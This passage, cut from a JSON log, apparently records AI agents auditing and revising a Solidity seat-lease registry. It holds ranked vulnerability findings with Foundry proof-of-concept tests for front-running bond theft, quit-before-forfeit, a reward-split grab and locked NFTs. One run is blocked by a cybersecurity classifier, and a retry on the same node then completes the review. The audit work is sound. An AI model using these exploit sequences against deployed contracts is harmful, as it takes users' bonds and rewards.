worked example, mainnet steps) is absent from the tree"}],"hash":"760e6aa4303c1951cff50a360b9a3f425fce4772978a2c233262e9426af22bd5","nodeId":"51e40942-2553-4be8-a54b-39ab87199d4e","outcome":"completed","summary":"The existing suite is green (213 passed), so the three failing proofs isolate the defects rather than a broken baseline. The findings file is complete and verified against the tree.\n\n**Review complete.** Findings are in `.imd-findings.json` with 6 entries and 19 coverage rows covering all 15 listed entry points plus the two requested invariants.\n\n**Findings, ranked:**\n\n1. **High: take → sweep → quit steals pre-lease rewards.** Sweep splits by whoever is operator at sweep time, and Open-mode `take` is permissionless with the bond returned by `quit`. Any balance booked to a vacant seat (or under a prior operator) is grabbed atomically at gas cost. The owner-side mirror (`cut` before sweep takes 100%) shares the root cause and is asserted as intended by two existing tests. Proof: `test/scratch/TakeSweepQuit.t.sol`.\n\n2. **Medium: `take()` has no terms commitment.** The owner can front-run an operator's `take` with `setTerms`, raising the bond to the operator's allowance, zeroing the split, and pointing `oracleSigner` at its own key, then self-sign an attestation and forfeit the bond. Proof: `test/scratch/TakeFrontRun.t.sol`.\n\n3. **Medium: stale attestation reused against a later operator.** `cutByOracle` never compares `issuedAt` or the block window with when the current operator took the seat, so a truthful attestation about operator A forfeits operator B's bond to the owner. Proof: `test/scratch/StaleAttestation.t.sol`.\n\n4. **Low: sweep pushes payments with revert-on-failure**, unlike `_payBond` which escrows. A rejecting owner locks the operator's share; combined with `cut` the owner can always end at 100%.\n\n5. **Low: `claim()` recipient bypass.** At any distributor with a recipient-parameterised entry point the owner routes rewards to itself and nothing is booked. Confirmed with a scratch test.\n\n6. **Info: README deliverable absent** from the tree.\n\n**Coverage:** every `SeatLease` and `LaunchToken` entry point has a row. `deposit`, `quit`, `withdraw`, `redeemBond`, `receive`, `isValidSignature` and `onERC721Received` hold. ERC-1271 forgery paths (cross-seat, digest substitution, malleability) and the NFT-exit invariant were traced and hold. Static-analysis leads on `credit` equality, `claim` reentrancy and `isValidSignature` locals were checked and are not defects.","treeHash":null,"usage":{"cachedInputTokens":1331077,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":45556,"runtime":"claude","turns":41,"wallClockMs":628372}},{"artifacts":[],"attempt":1,"bundleHash":"bddc8c2fa48857295c4a7e19ce2245234982363cc1cbbb50516680b356f74643","device":"35c52a5b502e847c","findings":[],"hash":"7e0b9893d0f24d0fb32172fa0f3a58b261c7e8e908ea7e29b154a475e5c48845","nodeId":"3b934019-b9f8-4eb7-8231-d104f1d1af97","outcome":"completed","summary":"Implemented the targeted revision:\n\n- Added holder settlement before operator changes and a one-hour reward warm-up.\n- Fixed `sweepFor` for heavy ETH receivers.\n- Documented instant-quit and direct-NFT-transfer limitations.\n- Recorded all four findings in `.imd-responses.json`.\n\nAll 198 tests passed, including the reviewer’s proof. Build, formatting, and gas snapshot checks passed. Updated local Anvil deployment recorded.","treeHash":"df3836ed1f97e3c6709f4493b40b5a708e8008d6","usage":{"cachedInputTokens":1590400,"inputTokens":100497,"model":"gpt-6-astra","outputTokens":26152,"runtime":"codex","turns":8,"wallClockMs":872607}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"bb0a3bf63233e5e5","findings":[],"hash":"89a6953be93df6b982de06738407df7446362f5b8f676211f8232ab4f6471174","nodeId":"f086f98e-8003-4392-88d1-39cd4586e7ce","outcome":"failed","summary":"This content was flagged for possible cybersecurity risk. If this seems wrong, try rephrasing your request. If you’re doing authorized security work that requires more cyber permissive safeguards, apply for Daybreak access via https://platform.openai.com/settings/organization/status-and-access before retrying.","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":"gpt-6-astra","outputTokens":0,"runtime":"codex","turns":3,"wallClockMs":224631}},{"artifacts":[],"attempt":2,"bundleHash":null,"device":"72b617d4b615473a","findings":[{"citation":"resolved","description":"Boundary: transaction ordering between setTerms (owner, vacant only) and take (operator). take(tokenId) has no parameter binding the caller to the terms they read (no terms hash, nonce or version), and every term including oracleSigner, questionHash and bondAmount may change up to the block in which take lands. The operator's whole protection against cutByOracle is that oracleSigner is the network oracle; that address is the only thing standing between the bond and the owner, and the owner can replace it with their own key one transaction before the take. The owner then signs an OracleAttestation(answerType=1, answer=abi.encode(true), questionHash=<whatever they set>) under this contract's oracle domain and calls cutByOracle, which passes every check (signer matches, question matches, chainId matches, unexpired, fresh requestId) and pays the bond to s.owner. Same-block reordering is enough (public mempool or a builder bundle); a change made a few seconds before the operator's transaction confirms works the same way. bondAmount can also be raised up to the operator's outstanding allowance. Loss is the full bond of any operator who takes an Open seat from an owner willing to race them. Assumption the code makes: the terms an operator sees are the terms they take under. Actual: setTerms and take are unrelated transactions.\n\nMinimal fix that preserves the requested design: bind the take to the terms, e.g. store a terms hash/version in _setTerms and have take (or an added overload take(tokenId, expectedTermsHash)) revert on mismatch. If the ABI of take(uint256) must stay, a cheaper partial mitigation is to record the block of the last setTerms and revert take when it equals block.number, which defeats same-block reordering but not a change one block earlier; the terms-hash form is the one that closes the hole. Adding a parameter is a scope decision for the author since the brief lists take(tokenId).","line":280,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// @dev take(tokenId) carries no commitment to the terms the operator saw. The owner reorders a setTerms\n///      in front of the operator's take, swaps oracleSigner to a key they control, and forfeits the bond to\n///      themselves with a self-signed attestation. Fails on the current code: the owner ends up holding the\n///      operator's bond.\ncontract TakeTermsFrontRunTest is Test {\n    bytes32 constant EIP712_DOMAIN_TYPEHASH =\n        keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\");\n    bytes32 constant ATT_TYPEHASH = keccak256(\n        \"OracleAttestation(bytes32 requestId,uint256 chainId,bytes32 questionHash,uint8 answerType,bytes answer,uint256 figure,uint64 fromBlock,uint64 toBlock,bytes32 blockHash,bytes32 panelJobId,uint64 issuedAt,uint64 expiresAt)\"\n    );\n\n    MockSeatNFT nft;\n    MockERC20 bond;\n    SeatLease lease;\n\n    address owner;\n    uint256 ownerKey;\n    address operator = makeAddr(\"operator\");\n    address realOracle = makeAddr(\"realOracle\");\n    uint256 constant TOKEN_ID = 7;\n    uint256 constant BOND_AMOUNT = 100e18;\n    bytes32 constant HONEST_QUESTION = keccak256(\"did operator 7 misbehave?\");\n\n    function setUp() public {\n        (owner, ownerKey) = makeAddrAndKey(\"owner\");\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, TOKEN_ID);\n        bond.mint(operator, BOND_AMOUNT);\n        vm.warp(1_800_000_000);\n        vm.roll(100);\n    }\n\n    function test_ownerFrontRunsTakeWithSelfSignedOracleAndKeepsBond() public {\n        // 1. Owner lists the seat with an honest-looking oracle signer. The operator reads these terms.\n        vm.startPrank(owner);\n        nft.approve(address(lease), TOKEN_ID);\n        lease.deposit(\n            TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND_AMOUNT, realOracle, HONEST_QUESTION, \"fair seat\"\n        );\n        vm.stopPrank();\n\n        // 2. Operator approves the bond and broadcasts take(7). Owner sees it and reorders setTerms in front:\n        //    same bps, same bond, but oracleSigner = owner's own key and any questionHash.\n        bytes32 rigged = keccak256(\"rigged\");\n        vm.prank(owner);\n        lease.setTerms(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND_AMOUNT, owner, rigged, \"fair seat\");\n\n        vm.startPrank(operator);\n        bond.approve(address(lease), BOND_AMOUNT);\n        lease.take(TOKEN_ID); // succeeds against terms the operator never agreed to\n        vm.stopPrank();\n        assertEq(bond.balanceOf(operator), 0);\n\n        // 3. Owner signs a \"true\" attestation for the rigged question and forfeits the bond to themselves.\n        SeatLease.OracleAttestation memory att = SeatLease.OracleAttestation({\n            requestId: keccak256(\"req\"),\n            chainId: block.chainid,\n            questionHash: rigged,\n            answerType: lease.ANSWER_TYPE_BOOL(),\n            answer: abi.encode(true),\n            figure: 0,\n            fromBlock: uint64(block.number - 10),\n            toBlock: uint64(block.number),\n            blockHash: blockhash(block.number - 1),\n            panelJobId: keccak256(\"panel\"),\n            issuedAt: uint64(block.timestamp),\n            expiresAt: uint64(block.timestamp + 1 hours)\n        });\n        bytes32 domain = keccak256(\n            abi.encode(\n                EIP712_DOMAIN_TYPEHASH, keccak256(\"IdentityMD Oracle\"), keccak256(\"1\"), block.chainid, address(lease)\n            )\n        );\n        bytes32 structHash = keccak256(\n            abi.encode(\n                ATT_TYPEHASH,\n                att.requestId,\n                att.chainId,\n                att.questionHash,\n                att.answerType,\n                keccak256(att.answer),\n                att.figure,\n                att.fromBlock,\n                att.toBlock,\n                att.blockHash,\n                att.panelJobId,\n                att.issuedAt,\n                att.expiresAt\n            )\n        );\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownerKey, keccak256(abi.encodePacked(\"\\x19\\x01\", domain, structHash)));\n        lease.cutByOracle(TOKEN_ID, att, abi.encodePacked(r, s, v));\n\n        // Expected: the operator's bond cannot be forfeited under terms substituted in the same block as the\n        // take (or without the operator committing to them). Actual: owner holds the whole bond.\n        assertEq(bond.balanceOf(owner), 0, \"owner forfeited the operator's bond under terms the operator never saw\");\n        assertEq(bond.balanceOf(operator) + lease.bondOwed(operator), BOND_AMOUNT, \"operator lost the bond\");\n    }\n}","reproduction":"State: seat 7 deposited Open, ownerBps 5000, bondAmount 100e18, oracleSigner = real oracle, questionHash Q. Operator has approved 100e18 bond. Sequence in one block: (1) owner: setTerms(7, 5000, Open, 0, 100e18, ownerKeyAddress, keccak256('rigged'), listing) — succeeds, seat is vacant; (2) operator: take(7) — succeeds, pulls 100e18; (3) owner: cutByOracle(7, attestation{questionHash=keccak256('rigged'), answerType=1, answer=abi.encode(true), chainId=block.chainid, expiresAt=now+1h, requestId fresh}, sig by ownerKey) — succeeds. Expected: the operator cannot lose the bond under an oracle they never agreed to. Actual: bond.balanceOf(owner) == 100e18, bond.balanceOf(operator) == 0. Proof: test/scratch/TakeTermsFrontRun.t.sol fails with 'owner forfeited the operator's bond under terms the operator never saw: 100000000000000000000 != 0'.","severity":"medium","snippet":"    function take(uint256 tokenId) external nonReentrant {\n        Seat storage s = _seats[tokenId];\n        if (s.owner == address(0)) revert SeatNotDeposited(tokenId);\n        if (s.operator != address(0)) revert SeatNotVacant(tokenId);","title":"take() commits to no terms: owner can front-run setTerms to swap oracleSigner and forfeit the incoming bond to themselves"},{"citation":"resolved","description":"Boundary: ordering between quit (operator) and cutByOracle (anyone with an attestation). quit has no delay, no condition and no unbonding window: it clears the operator and pushes the whole bond in the same call. cutByOracle requires operator != address(0) and reverts SeatVacant otherwise. An operator who misbehaved knows it before any attestation exists; one who does not watch simply sees cutByOracle in the mempool and sends quit with higher priority. Either way the attestation reverts and the bond is back in the operator's wallet. The bond therefore secures nothing against a rational operator, which is the only operator it needs to secure against; the 'bond forfeited to owner' rule in the brief holds only for operators who neither watch nor know. Assumption: a valid attestation issued while the operator held the seat can be executed against their bond. Actual: the operator decides whether it can.\n\nFix options (both change quit semantics and need a scope decision): (a) unbonding window — quit clears the operator immediately but holds the bond for N seconds/blocks, during which cutByOracle against the former operator's pending bond still forfeits it; (b) only allow quit when no attestation for the seat's question is pending, which is not expressible on-chain, so (a) is the practical one. The Open-mode bond, and the oracle cut's economic teeth, are otherwise decorative.","line":300,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// @dev quit() returns the bond instantly and unconditionally. An operator who sees a cutByOracle in the\n///      mempool (or who knows they misbehaved) quits first; the attestation then reverts with SeatVacant and the\n///      bond is never forfeited. Fails on the current code: the owner receives nothing.\ncontract QuitEscapesForfeitTest is Test {\n    bytes32 constant EIP712_DOMAIN_TYPEHASH =\n        keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\");\n    bytes32 constant ATT_TYPEHASH = keccak256(\n        \"OracleAttestation(bytes32 requestId,uint256 chainId,bytes32 questionHash,uint8 answerType,bytes answer,uint256 figure,uint64 fromBlock,uint64 toBlock,bytes32 blockHash,bytes32 panelJobId,uint64 issuedAt,uint64 expiresAt)\"\n    );\n\n    MockSeatNFT nft;\n    MockERC20 bond;\n    SeatLease lease;\n\n    address owner = makeAddr(\"owner\");\n    address operator = makeAddr(\"operator\");\n    address oracle;\n    uint256 oracleKey;\n    uint256 constant TOKEN_ID = 7;\n    uint256 constant BOND_AMOUNT = 100e18;\n    bytes32 constant QUESTION = keccak256(\"did operator 7 misbehave?\");\n\n    function setUp() public {\n        (oracle, oracleKey) = makeAddrAndKey(\"oracle\");\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, TOKEN_ID);\n        bond.mint(operator, BOND_AMOUNT);\n        vm.warp(1_800_000_000);\n        vm.roll(100);\n\n        vm.startPrank(owner);\n        nft.approve(address(lease), TOKEN_ID);\n        lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND_AMOUNT, oracle, QUESTION, \"seat\");\n        vm.stopPrank();\n        vm.startPrank(operator);\n        bond.approve(address(lease), BOND_AMOUNT);\n        lease.take(TOKEN_ID);\n        vm.stopPrank();\n    }\n\n    function test_operatorQuitsAheadOfOracleCutAndKeepsBond() public {\n        // The real oracle has answered \"true\": the operator misbehaved. The owner broadcasts cutByOracle.\n        SeatLease.OracleAttestation memory att = SeatLease.OracleAttestation({\n            requestId: keccak256(\"req\"),\n            chainId: block.chainid,\n            questionHash: QUESTION,\n            answerType: lease.ANSWER_TYPE_BOOL(),\n            answer: abi.encode(true),\n            figure: 0,\n            fromBlock: uint64(block.number - 10),\n            toBlock: uint64(block.number),\n            blockHash: blockhash(block.number - 1),\n            panelJobId: keccak256(\"panel\"),\n            issuedAt: uint64(block.timestamp),\n            expiresAt: uint64(block.timestamp + 1 hours)\n        });\n        bytes32 domain = keccak256(\n            abi.encode(\n                EIP712_DOMAIN_TYPEHASH, keccak256(\"IdentityMD Oracle\"), keccak256(\"1\"), block.chainid, address(lease)\n            )\n        );\n        bytes32 structHash = keccak256(\n            abi.encode(\n                ATT_TYPEHASH,\n                att.requestId,\n                att.chainId,\n                att.questionHash,\n                att.answerType,\n                keccak256(att.answer),\n                att.figure,\n                att.fromBlock,\n                att.toBlock,\n                att.blockHash,\n                att.panelJobId,\n                att.issuedAt,\n                att.expiresAt\n            )\n        );\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(oracleKey, keccak256(abi.encodePacked(\"\\x19\\x01\", domain, structHash)));\n        bytes memory sig = abi.encodePacked(r, s, v);\n\n        // Operator front-runs in the same block.\n        vm.prank(operator);\n        lease.quit(TOKEN_ID);\n\n        // Expected: a valid, unexpired attestation issued while the operator held the seat still forfeits the\n        // bond to the owner (e.g. the bond stays claimable-by-oracle for an unbonding window).\n        // Actual: cutByOracle reverts SeatVacant and the operator already holds the full bond.\n        (bool ok,) = address(lease).call(abi.encodeCall(lease.cutByOracle, (TOKEN_ID, att, sig)));\n        assertTrue(ok, \"attestation against the just-quit operator was rejected\");\n        assertEq(bond.balanceOf(owner) + lease.bondOwed(owner), BOND_AMOUNT, \"owner never received the forfeited bond\");\n        assertEq(bond.balanceOf(operator), 0, \"operator escaped forfeiture with the full bond\");\n    }\n}","reproduction":"State: seat 7 Open, bondAmount 100e18, oracleSigner = oracle; operator has taken, bondHeld 100e18. The real oracle signs attestation{questionHash=Q, answerType=1, answer=abi.encode(true), chainId=block.chainid, expiresAt=now+1h}. Sequence in one block: (1) operator: quit(7) — succeeds, bond.balanceOf(operator)=100e18, seat vacant; (2) owner: cutByOracle(7, attestation, sig) — reverts SeatVacant(7). Expected: the owner receives the forfeited 100e18. Actual: owner receives 0, operator keeps 100e18. Proof: test/scratch/QuitEscapesForfeit.t.sol fails with 'attestation against the just-quit operator was rejected'.","severity":"medium","snippet":"    function quit(uint256 tokenId) external nonReentrant {\n        Seat storage s = _seats[tokenId];\n        if (msg.sender != s.operator) revert NotOperator(tokenId, msg.sender);\n        uint256 held = _clearOperator(s);\n        emit SeatQuit(tokenId, msg.sender, held);\n        _payBond(msg.sender, held);\n    }","title":"quit() returns the bond instantly, so an operator front-runs any cutByOracle and forfeiture can never be enforced"},{"citation":"resolved","description":"Seam boundary × invariant. The invariant 'operator receives (10000 - ownerBps)/10000 of rewards booked while they operate' is enforced only in the operator != address(0) branch of sweep, and the owner controls both whether that branch is taken (cut is owner-only, any time) and when rewards arrive (claim is owner-only; distributors pay on the owner's call). Nothing ties a booked balance to the operator who was active when it was earned. The owner therefore never has to share: cut(tokenId); claim(...); sweep(tokenId, token) in one transaction pays everything to the owner and returns only the bond to the operator. The operator's only defence is to sweep before every cut, which they cannot do because credit/claim and cut/sweep can be bundled. The existing tests (test_sweep_unsweptBalanceGoesToOwnerAfterCut, test_sweep_usesTermsAtSweepTimeNotAtCreditTime) pin this as intended, so it is reported as a trust assumption the docs must state plainly: an operator's share is at the owner's discretion, and a seat's advertised ownerBps is not a promise. If the requester wants the split to be a guarantee, the fix is to snapshot the operator (or the operator's share) at booking time, which is a design change.","line":441,"path":"src/SeatLease.sol","reproduction":"State: seat 7 Open, ownerBps 0 (operator advertised 100% of rewards), operator took with bond 100e18; distributor owes the registry 1_000e18 RWD. Owner sends one transaction: cut(7) → seat vacant, bond returned to operator; claim(7, distributor, claim(), [RWD]) → 1_000e18 booked to seat 7; sweep(7, RWD) → operator == address(0) so ownerAmount = amount = 1_000e18. Expected by the operator: 1_000e18 to operator (ownerBps 0). Actual: 1_000e18 to owner, 0 to operator.","severity":"low","snippet":"        uint256 ownerAmount = operator == address(0) ? amount : (amount * s.ownerBps) / BPS;","title":"Owner can cut, claim and sweep in one transaction, taking 100% of rewards the operator earned (reward split is unenforceable for the operator)"},{"citation":"resolved","description":"Boundary: the ERC-721 receiver hook on the return path. deposit only checks seatNFT.ownerOf(tokenId) == msg.sender; a contract obtains a seat via mint or plain transferFrom without implementing onERC721Received (multisigs and vaults that were airdropped or transferred a seat, or that call transferFrom themselves). withdraw returns the NFT with safeTransferFrom(address(this), msg.sender, tokenId), which calls onERC721Received on msg.sender and reverts when it is absent or answers wrongly. There is no other path that moves the NFT out (claim refuses the NFT as target and re-checks custody), so the seat is held by the registry permanently, though rewards still flow. The owner asked for the NFT back, so the receiver check protects nobody here: transferFrom would return it safely, or deposit could verify the depositor can receive (e.g. require msg.sender.code.length == 0 || IERC721Receiver(msg.sender).onERC721Received(...) returns the selector) before accepting the seat.","line":355,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// @dev A contract owner that holds the seat without implementing IERC721Receiver (mint / plain transferFrom)\n///      can deposit, but withdraw() uses safeTransferFrom and reverts forever: the seat is locked.\ncontract PlainOwner {\n    function run(address target, bytes memory data) external returns (bytes memory) {\n        (bool ok, bytes memory ret) = target.call(data);\n        require(ok, string(ret));\n        return ret;\n    }\n}\n\ncontract WithdrawLocksNftTest is Test {\n    MockSeatNFT nft;\n    MockERC20 bond;\n    SeatLease lease;\n    PlainOwner plainOwner;\n    uint256 constant TOKEN_ID = 7;\n\n    function setUp() public {\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        plainOwner = new PlainOwner();\n        nft.mint(address(plainOwner), TOKEN_ID); // _mint: no receiver hook needed to hold the seat\n        vm.warp(1_800_000_000);\n    }\n\n    function test_contractOwnerWithoutReceiverCanDepositButNeverWithdraw() public {\n        plainOwner.run(address(nft), abi.encodeCall(nft.approve, (address(lease), TOKEN_ID)));\n        plainOwner.run(\n            address(lease),\n            abi.encodeCall(\n                lease.deposit,\n                (TOKEN_ID, 5000, SeatLease.Mode.Permissioned, address(0), 0, address(0), bytes32(0), \"seat\")\n            )\n        );\n        assertEq(nft.ownerOf(TOKEN_ID), address(lease));\n\n        // Expected: the vacant seat's owner can take the NFT back. Actual: safeTransferFrom reverts because the\n        // owner has no onERC721Received, and there is no other path that moves the NFT.\n        (bool ok,) = address(plainOwner).call(\n            abi.encodeCall(plainOwner.run, (address(lease), abi.encodeCall(lease.withdraw, (TOKEN_ID))))\n        );\n        assertTrue(ok, \"withdraw reverted for a contract owner without IERC721Receiver: seat locked forever\");\n        assertEq(nft.ownerOf(TOKEN_ID), address(plainOwner));\n    }\n}","reproduction":"State: PlainOwner is a contract with no onERC721Received; nft.mint(PlainOwner, 7). PlainOwner calls nft.approve(lease, 7) then lease.deposit(7, 5000, Permissioned, 0, 0, 0, 0, 'seat') — succeeds, ownerOf(7) == lease. PlainOwner calls lease.withdraw(7) — reverts (ERC721InvalidReceiver) inside safeTransferFrom; every retry reverts. Expected: the vacant seat's owner recovers the NFT. Actual: NFT stays in the registry with no recovery path. Proof: test/scratch/WithdrawLocksNft.t.sol fails with 'withdraw reverted for a contract owner without IERC721Receiver: seat locked forever'.","severity":"low","snippet":"        seatNFT.safeTransferFrom(address(this), msg.sender, tokenId);","title":"withdraw() uses safeTransferFrom: a contract owner without IERC721Receiver can deposit but never withdraw, locking the seat forever"},{"citation":"resolved","description":"Seam boundary × invariant. The accounting invariant 'every reward token the registry holds is booked to some seat' (totalCredited[token] == balanceOf(this) for non-bond tokens) is maintained only for tokens that appear in tokens[]; the empty-list and wrong-list edges bypass _book entirely. ETH is measured unconditionally (ethGained), ERC-20s are not, so the two branches of the same function keep different invariants. A distributor that pays a token the owner forgot, or pays a second token the owner did not expect (multi-asset distributors, bonus tokens), leaves that balance unattributed. No later call can recover it: credit books only what the caller sends, a second claim listing the token measures a zero delta, sweep reverts ZeroAmount, and there is no rescue function by design. The value is lost to everyone. Fix: either refuse the call when the list is empty and require the owner to enumerate, or (better) let the owner re-run booking for a token by measuring balanceOf(this) - totalCredited[token] - (token == bondToken ? bonds held + bondOwed : 0) as the unattributed remainder and booking it to the seat they choose. The bond token needs the extra term because bonds legitimately sit unbooked.","line":422,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\nimport {MockDistributor} from \"src/mocks/MockDistributor.sol\";\n\n/// @dev claim() books only the tokens listed in `tokens[]`. A reward token the distributor pays but the owner\n///      did not list arrives in the registry and is never booked; no later call can attribute or move it.\ncontract ClaimUnlistedTokenTest is Test {\n    MockSeatNFT nft;\n    MockERC20 bond;\n    MockERC20 reward;\n    MockDistributor distributor;\n    SeatLease lease;\n    address owner = makeAddr(\"owner\");\n    uint256 constant TOKEN_ID = 7;\n\n    function setUp() public {\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        reward = new MockERC20(\"Reward\", \"RWD\");\n        distributor = new MockDistributor(address(reward));\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, TOKEN_ID);\n        reward.mint(address(distributor), 1_000e18);\n        vm.warp(1_800_000_000);\n        vm.startPrank(owner);\n        nft.approve(address(lease), TOKEN_ID);\n        lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Permissioned, address(0), 0, address(0), bytes32(0), \"seat\");\n        vm.stopPrank();\n    }\n\n    function test_unlistedRewardIsStrandedForever() public {\n        distributor.setReward(address(lease), 1_000e18, 0);\n        address[] memory none = new address[](0);\n        vm.prank(owner);\n        lease.claim(TOKEN_ID, address(distributor), abi.encodeCall(distributor.claim, ()), none);\n\n        // The token arrived but nothing is booked.\n        assertEq(reward.balanceOf(address(lease)), 1_000e18);\n        assertEq(lease.credited(TOKEN_ID, address(reward)), 0);\n        assertEq(lease.totalCredited(address(reward)), 0);\n\n        // A second claim listing the token measures a zero delta and books nothing; sweep has nothing to pay.\n        address[] memory listed = new address[](1);\n        listed[0] = address(reward);\n        vm.prank(owner);\n        lease.claim(TOKEN_ID, address(distributor), abi.encodeCall(distributor.claim, ()), listed);\n        assertEq(lease.credited(TOKEN_ID, address(reward)), 0);\n        vm.expectRevert(SeatLease.ZeroAmount.selector);\n        lease.sweep(TOKEN_ID, address(reward));\n\n        // Expected: what the claim brought in is attributable to the seat (booked == held for reward tokens).\n        // Actual: 1_000e18 RWD is held by the registry with no owner and no path out.\n        assertEq(\n            lease.totalCredited(address(reward)),\n            reward.balanceOf(address(lease)),\n            \"registry holds reward tokens that are booked to no seat\"\n        );\n    }\n}","reproduction":"State: seat 7 deposited; distributor.setReward(lease, 1_000e18 RWD, 0). Owner calls claim(7, distributor, claim(), []) — succeeds. reward.balanceOf(lease) == 1_000e18, credited(7, RWD) == 0, totalCredited(RWD) == 0. Owner calls claim(7, distributor, claim(), [RWD]) again — distributor pays 0 now, gained == 0, nothing booked. sweep(7, RWD) reverts ZeroAmount. Expected: 1_000e18 attributable to seat 7. Actual: 1_000e18 held by the registry with no owner and no path out. Proof: test/scratch/ClaimUnlistedToken.t.sol fails with 'registry holds reward tokens that are booked to no seat: 0 != 1000000000000000000000'.","severity":"low","snippet":"        for (uint256 i; i < tokens.length; ++i) {\n            if (tokens[i] == address(0) || _listedBefore(tokens, i)) continue;\n            uint256 afterwards = _balanceOf(tokens[i]);\n            if (afterwards < before[i]) revert BookedBalanceDecreased(tokens[i], before[i], afterwards);\n            uint256 gained = afterwards - before[i];\n            if (gained != 0) _book(tokenId, tokens[i], gained);\n        }","title":"claim() strands any reward token the distributor pays but the owner did not list: held forever, booked to no seat"},{"citation":"resolved","description":"Math precision: ownerAmount = amount * ownerBps / 10000 truncates toward zero and the operator receives the truncation. With ownerBps = 9999 (owner advertises 99.99%) every sweep of amount < 10000 base units pays the operator 1 unit and the owner amount - 1; at amount = 1 the operator receives 100%. sweep is permissionless, so whoever benefits from the rounding can force a sweep after every small credit, bounding the owner's loss at 1 unit per sweep per token; with 18-decimal tokens that is negligible, with 0- or 2-decimal tokens it is not. The existing tests (test_sweep_roundsDustToOperator, test_sweep_oneBpsOnSmallAmountPaysOwnerNothing, test_sweep_oneWeiAtHalfGoesToOperator) pin this direction as intended, so this is recorded as an accepted rounding choice for the docs, not a defect to fix. If the requester prefers the party who sets the terms to receive the dust, compute operatorAmount = amount * (10000 - ownerBps) / 10000 and give the owner the remainder.","line":442,"path":"src/SeatLease.sol","reproduction":"Seat 7 Open with ownerBps 9999, operator present. credit(7, RWD, 1); sweep(7, RWD): ownerAmount = 1 * 9999 / 10000 = 0, operatorAmount = 1. Owner expected 0.9999 units, receives 0; operator expected 0.0001, receives 1. With amount = 9999: ownerAmount = 9999 * 9999 / 10000 = 9998, operatorAmount = 1 (expected 0.9999).","severity":"info","snippet":"        uint256 ownerAmount = operator == address(0) ? amount : (amount * s.ownerBps) / BPS;\n        uint256 operatorAmount = amount - ownerAmount;","title":"sweep() rounds the owner share down and gives the remainder to the operator; at small amounts the advertised split inverts"},{"citation":"resolved","description":"Math precision, overflow intermediate. amount is the full booked balance (uint256) and ownerBps is up to 10000; the product is computed before the division in checked arithmetic. A token whose supply lets a single seat hold more than 2^256 / 10000 ≈ 1.16e73 base units makes sweep revert with an arithmetic panic while the seat has an operator and ownerBps > 0. No real ETH or reward token can reach this range, only a malicious ERC-20 credited by anyone (credit is permissionless), and the same seat's sweep of every other token is unaffected; the owner can also cut the operator, after which the vacant branch skips the multiplication and pays everything to the owner. Impact is therefore limited to that worthless token. Recorded because the guide asks for every a * b / c to be checked; Math.mulDiv or splitting the amount would remove the case if wanted.","line":441,"path":"src/SeatLease.sol","reproduction":"Seat 7 with operator, ownerBps 10000. Attacker deploys EvilToken and credits 2^256/10000 + 1 units to seat 7 (credit measures the balance delta, which the token reports). sweep(7, EvilToken): amount * 10000 > 2^256 - 1 → panic 0x11, revert. Expected: sweep pays the split. Actual: sweep reverts for that token until the owner cuts the operator.","severity":"info","snippet":"        uint256 ownerAmount = operator == address(0) ? amount : (amount * s.ownerBps) / BPS;","title":"sweep() multiplication amount * ownerBps can overflow for a token with a booked balance above 2^256 / 10000, reverting sweep while an operator is present"}],"hash":"97805c17f3adc75d670d9cabac00ced617248f1ddb0268de9492652fb2fd892f","nodeId":"f086f98e-8003-4392-88d1-39cd4586e7ce","outcome":"completed","summary":"The review is complete. No tracked file was changed; the tree is clean apart from `.imd-findings.json` and the four scratch proofs.\n\n**What I produced**\n\n`.imd-findings.json` at the repository root holds 7 findings and 18 coverage rows, one for each of the 15 listed entry points plus three invariant rows. Every snippet was checked by script against the exact text at its cited line before writing.\n\n**Findings, most severe first**\n\n- **Medium, `take` at line 280.** `take(tokenId)` commits to no terms. The owner can reorder `setTerms` in front of the operator's `take`, swap `oracleSigner` to their own key, then forfeit the freshly pulled bond with a self-signed attestation. Proof: `test/scratch/TakeTermsFrontRun.t.sol` fails on the current code, owner ends with the whole 100e18 